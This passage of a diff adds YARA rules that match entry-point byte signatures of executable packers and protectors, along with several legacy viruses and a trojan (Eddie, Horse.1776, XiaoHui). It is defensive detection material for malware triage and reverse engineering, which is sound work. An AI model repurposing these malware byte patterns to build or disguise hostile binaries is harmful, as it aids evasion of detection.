+		$0 = {68 2C 11 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30 00 00 00 38 00 00 00 00 00 00 00 37 BB 71 EC A4 E1 98 4C 9B FE 8F 0F FA 6A 07 F6 00 00 00 00 00 00 01 00 00 00 20 20 46 6F 72 20 73 74 75 64 00 20 54 6F 00 00 00 00 06 00 00 00 CC 1A 40 00 07 00 00 00 D4 18 40 00 07 00 00 00 7C 18 40 00 07 00 00 00 2C 18 40 00 07 00 00 00 E0 17 40 00 56 42 35 21 F0 1F 2A 00 00 00 00 00 00 00 00 00 00 00 00 00 7E 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 00 09 04 00 00 00 00 00 00 E8 13 40 00 F4 13 40 00 00 F0 30 00 00 FF FF FF 08 00 00 00 01 00 00 00 00 00 00 00 E9 00 00 00 04 11 40 00 04 11 40 00 C8 10 40 00 78 00 00 00 7C 00 00 00 81 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 61 61 00 53 74 75 64 00 00 73 74 75 64 00 00 01 00 01 00 30 16 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 B4 16 40 00 10 30 40 00 07 00 00 00 24 12 40 00 0E 00 20 00 00 00 00 00 1C 9E 21 00 EC 11 40 00 5C 10 40 00 E4 1A 40 00 2C 34 40 00 68 17 40 00 58 17 40 00 78 17 40 00 8C 17 40 00 8C 10 40 00 62 10 40 00 92 10 40 00 F8 1A 40 00 24 19 40 00 98 10 40 00 9E 10 40 00 77 04 18 FF 04 1C FF 05 00 00 24 01 00 0D 14 00 78 1C 40 00 48 21 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida__Oreans_Technologies_2004_
+{
+	meta:
+		description = "Themida -> Oreans Technologies 2004"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_vxx_
+{
+	meta:
+		description = "PEtite vx.x"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_Phantasm_v15b3_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm v1.5b3"
+	strings:
+		$0 = {9C 55 57 56 52 51 53 9C FA E8 00 00 00 00 5D 81 ED 5B 53 40 00 B0}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_ARCV4_
+{
+	meta:
+		description = "Vx: ARCV.4"
+	strings:
+		$0 = {E8 00 00 5D 81 ED 06 01 81 FC 4F 50 74 0B 8D B6 86 01 BF 00 01 57 A4 EB 11 1E 06}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b6_
+{
+	meta:
+		description = "PECompact v1.10b6"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 ?? 00 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB B7}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v1242__v1243_
+{
+	meta:
+		description = "PECompact v1.24.2 - v1.24.3"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 09}
+	condition:
+		$0 at entrypoint
+}
+rule _WARNING__TROJAN__XiaoHui_
+{
+	meta:
+		description = "WARNING -> TROJAN -> XiaoHui"
+	strings:
+		$0 = {60 9C E8 00 00 00 00 5D B8 ?? 85 40 00 2D ?? 85 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PROTECT_EXECOM_v60_
+{
+	meta:
+		description = "PROTECT! EXE/COM v6.0"
+	strings:
+		$0 = {1E B4 30 CD 21 3C 02 73 ?? CD 20 BE ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Eddie1530_
+{
+	meta:
+		description = "Vx: Eddie.1530"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? 50 06 56 1E 33 C0 50 1F C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Special_EXE_Pasword_Protector_v101_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "Special EXE Pasword Protector v1.01 (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UnoPiX_075__BaGiE_
+{
+	meta:
+		description = "UnoPiX 0.75 -> BaGiE"
+	strings:
+		$0 = {60 E8 07 00 00 00 61 68 ?? ?? 40 00 C3 83 04 24 18 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 61}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_XRCV1015_
+{
+	meta:
+		description = "Vx: XRCV.1015"
+	strings:
+		$0 = {E8 ?? ?? 5E 83 ?? ?? 53 51 1E 06 B4 99 CD 21 80 FC 21 ?? ?? ?? ?? ?? 33 C0 50 8C D8 48 8E C0 1F A1 ?? ?? 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V11A__vcasm_
+{
+	meta:
+		description = "VProtector V1.1A -> vcasm"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_v0001_
+{
+	meta:
+		description = "Packman v0.0.0.1"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 8D A8 ?? ?? FF FF 8D 98 ?? ?? ?? FF 8D ?? ?? 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v50_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v5.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_v12__NorthfoxHCC_
+{
+	meta:
+		description = "MEW 11 SE v1.2 -> Northfox[HCC]"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PIMP_Install_System_v13x_
+{
+	meta:
+		description = "Nullsoft PIMP Install System v1.3x"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? 00 00 56 57 6A ?? BE ?? ?? ?? ?? 59 8D BD}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_MSVCpp_DLL_Method_4__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake MSVC++ DLL Method 4) -> emadicius"
+	strings:
+		$0 = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C 85 F6 5F 5E 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Alex_Protector_v10__Alex_
+{
+	meta:
+		description = "Alex Protector v1.0 -> Alex"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_32_
+{
+	meta:
+		description = "Shrinker 3.2"
+	strings:
+		$0 = {55 8B EC 56 57 75 65 68 00 01 00 00 E8 F1 E6 FF FF 83 C4 04}
+	condition:
+		$0
+}
+rule _VProtector_0X12X__vcasm_
+{
+	meta:
+		description = "VProtector 0.X-1.2X -> vcasm"
+	strings:
+		$0 = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3}
+	condition:
+		$0
+}
+rule _Install_Stub_32bit_
+{
+	meta:
+		description = "Install Stub 32-bit"
+	strings:
+		$0 = {55 8B EC 81 EC 14 ?? 00 00 53 56 57 6A 00 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 29}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v098__tE_
+{
+	meta:
+		description = "tElock v0.98 -> tE!"
+	strings:
+		$0 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_NT_v204_
+{
+	meta:
+		description = "PE Lock NT v2.04"
+	strings:
+		$0 = {EB ?? CD ?? ?? ?? ?? ?? CD ?? ?? ?? ?? ?? EB ?? EB ?? EB ?? EB ?? CD ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v252_beta2_
+{
+	meta:
+		description = "Armadillo v2.52 beta2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? B0 ?? ?? ?? ?? 68 60 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 24}
+	condition:
+		$0 at entrypoint
+}
+rule _SDC_12_Self_Decrypting_Binary_Generator__by_Claes_M_Nyberg_
+{
+	meta:
+		description = "SDC 1.2 (Self Decrypting Binary Generator) - by Claes M Nyberg"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 A0 91 40 00 E8 DB FE FF FF 55 89 E5 53 83 EC 14 8B 45 08 8B 00 8B 00 3D 91 00 00 C0 77 3B 3D 8D 00 00 C0 72 4B BB 01 00 00 00 C7 44 24 04 00 00 00 00 C7 04 24 08 00 00 00 E8 CE 24 00 00 83 F8 01 0F 84 C4 00 00 00 85 C0 0F 85 A9 00 00 00 31 C0 83 C4 14 5B 5D C2 04 00 3D 94 00 00 C0 74 56 3D 96 00 00 C0 74 1E 3D 93 00 00 C0 75 E1 EB B5 3D 05 00 00 C0 8D B4 26 00 00 00 00 74 43 3D 1D 00 00 C0 75 CA C7 44 24 04 00 00 00 00 C7 04 24 04 00 00 00 E8 73 24 00 00 83 F8 01 0F 84 99 00 00 00 85 C0 74 A9 C7 04 24 04 00 00 00 FF D0 B8 FF FF FF FF EB 9B 31 DB 8D 74 26 00 E9 69 FF FF FF C7 44 24 04 00 00 00 00 C7 04 24 0B 00 00 00 E8 37 24 00 00 83 F8 01 74 7F 85 C0 0F 84 6D FF FF FF C7 04 24 0B 00 00 00 8D 76 00 FF D0 B8 FF FF FF FF E9 59 FF FF FF C7 04 24 08 00 00 00 FF D0 B8 FF FF FF FF E9 46 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 08 00 00 00 E8 ED 23 00 00 B8 FF FF FF FF 85 DB 0F 84 25 FF FF FF E8 DB 15 00 00 B8 FF FF FF FF E9 16 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 04 00 00 00 E8 BD 23 00 00 B8 FF FF FF FF E9 F8 FE FF FF C7 44 24 04 01 00 00 00 C7 04 24 0B 00 00 00 E8 9F 23 00 00 B8 FF FF FF FF E9 DA FE FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v265b1_
+{
+	meta:
+		description = "Armadillo v2.65b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 38 ?? ?? ?? 68 40 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 F4}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_2200461622006630__WFS_
+{
+	meta:
+		description = "EncryptPE 2.2004.6.16-2.2006.6.30 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 7A 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0 at entrypoint
+}
+rule _SLVc0deProtector_v061__SLV_
+{
+	meta:
+		description = "SLVc0deProtector v0.61 -> SLV"
+	strings:
+		$0 = {EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00}
+		$1 = {EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD FF FF FF 38 E8 E3 FF FF FF 66 E8 0D 00 00 00 04 E8 E3 FF FF FF 70 E8 CB FF FF FF 69 E8 DD FF FF FF 58 E8 DD FF FF FF 69 E8 E3 FF FF FF 79 E8 BF FF FF FF 69 83 C4 40 E8 00 00 00 00 5D 81 ED 9D 11 40 00 8D 95 B4 11 40 00 E8 CB 2E 00 00 33 C0 F7 F0 69 8D B5 05 12 40 00 B9 5D 2E 00 00 8B FE AC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Thinstall_Embedded_20X__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.0X -> Jitit"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DalKrypt_10__by_DalKiT_
+{
+	meta:
+		description = "DalKrypt 1.0 - by DalKiT"
+	strings:
+		$0 = {68 00 10 40 00 58 68 ?? ?? ?? 00 5F 33 DB EB 0D 8A 14 03 80 EA 07 80 F2 04 88 14 03 43 81 FB ?? ?? ?? 00 72 EB FF E7}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_v11_
+{
+	meta:
+		description = "MEW 11 SE v1.1"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _yodas_Protector_v1033_exescrcom__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector v1.03.3 (.exe,.scr,.com) -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v041x_
+{
+	meta:
+		description = "tElock v0.41x"
+	strings:
+		$0 = {66 8B C0 8D 24 24 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 50 8B FE 68 78 01 ?? ?? 59 EB 01 EB AC 54 E8 03 ?? ?? ?? 5C EB 08}
+	condition:
+		$0 at entrypoint
+}
+rule _XXPack_01__bagie_
+{
+	meta:
+		description = "XXPack 0.1 -> bagie"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 00 68 00 ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Manager_Version_30_1994_c_Solar_Designer_
+{
+	meta:
+		description = "EXE Manager Version 3.0 1994 (c) Solar Designer"
+	strings:
+		$0 = {B4 30 1E 06 CD 21 2E ?? ?? ?? BF ?? ?? B9 ?? ?? 33 C0 2E ?? ?? 47 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeJoiner_V10__Yoda_f2f_
+{
+	meta:
+		description = "ExeJoiner V1.0 -> Yoda f2f"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_exe_Protector_21522X__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector 2.15-2.2X -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Vx_Horse1776_
+{
+	meta:
+		description = "Vx: Horse.1776"
+	strings:
+		$0 = {E8 ?? ?? 5D 83 ?? ?? 06 1E 26 ?? ?? ?? ?? BF ?? ?? 1E 0E 1F 8B F7 01 EE B9 ?? ?? FC F3 A6 1F 1E 07}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 [LZMA] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 73 26 00 00 8D 9D 58 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_099__tE_
+{
+	meta:
+		description = "tElock 0.99 -> tE!"
+	strings:
+		$0 = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_102__103__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector 1.02 - 1.03 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Eddie1028_
+{
+	meta:
+		description = "Vx: Eddie.1028"
+	strings:
+		$0 = {E8 ?? ?? 5E FC 83 ?? ?? 81 ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E B8 FE 4B CD 21 81 FF BB 55 ?? ?? 07 ?? ?? ?? 07 B4 49 CD 21 BB FF FF B4 48 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Escargot_01__by_ueMeat_
+{
+	meta:
+		description = "Escargot 0.1 - by ueMeat"
+	strings:
+		$0 = {EB 08 28 65 73 63 30 2E 31 29 60 68 2B ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 5C ?? ?? ?? 8B 00 FF D0 50 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50 B8 54 ?? ?? ?? 8B 00 FF D0 5F 80 3F 00 74 06 C6 07 00 47 EB F5 33 FF 8B 16 0B D2 75 03 8B 56 10 03 D3 03 D7 8B 0A C7 02 00 00 00 00 0B C9 74 4B F7 C1 00 00 00 80 74 14 81 E1 FF FF 00 00 50 51 50 B8 50}
+	condition:
+		$0
+}
+rule _PMODEW_v112_116_121_133_DOS_extender_
+{
+	meta:
+		description = "PMODE/W v.1.12, 1.16, 1.21, 1.33 DOS extender"
+	strings:
+		$0 = {FC 16 07 BF ?? ?? 8B F7 57 B9 ?? ?? F3 A5 06 1E 07 1F 5F BE ?? ?? 06 0E A4}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_UPX_06__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [UPX 0.6] --> Anorganix"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v032_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.32 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 32}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_ASPack_212__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake ASPack 2.12) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_BJFNT_11b__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [.BJFNT 1.1b] --> Anorganix"
+	strings:
+		$0 = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_ASProtect__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ASProtect] --> Anorganix"
+	strings:
+		$0 = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_12_
+{
+	meta:
+		description = "Petite 1.2"
+	strings:
+		$0 = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_2609__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.609 -> Jitit"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB AD 19 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 1C 00 00 68 80 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_11__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor 1.1 -> CGSoftLabs"
+	strings:
+		$0 = {E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? 12 00 00 E9 ?? 0C 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_102__Ashkibiz_Danehlar_
+{
+	meta:
+		description = "yoda's Protector 1.02 -> Ashkibiz Danehlar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+	condition:
+		$0 at entrypoint
+}
+rule _ORiEN_V1XV2X__Fisun_AV_
+{
+	meta:
+		description = "ORiEN V1.X-V2.X -> Fisun A.V."
+	strings:
+		$0 = {4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D}
+	condition:
+		$0
+}
+rule _NeoLite_v10_
+{
+	meta:
+		description = "NeoLite v1.0"
+	strings:
+		$0 = {8B 44 24 04 8D 54 24 FC 23 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 50 FF 25}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v184_
+{
+	meta:
+		description = "Armadillo v1.84"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E8 C1 40 00 68 F4 86 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
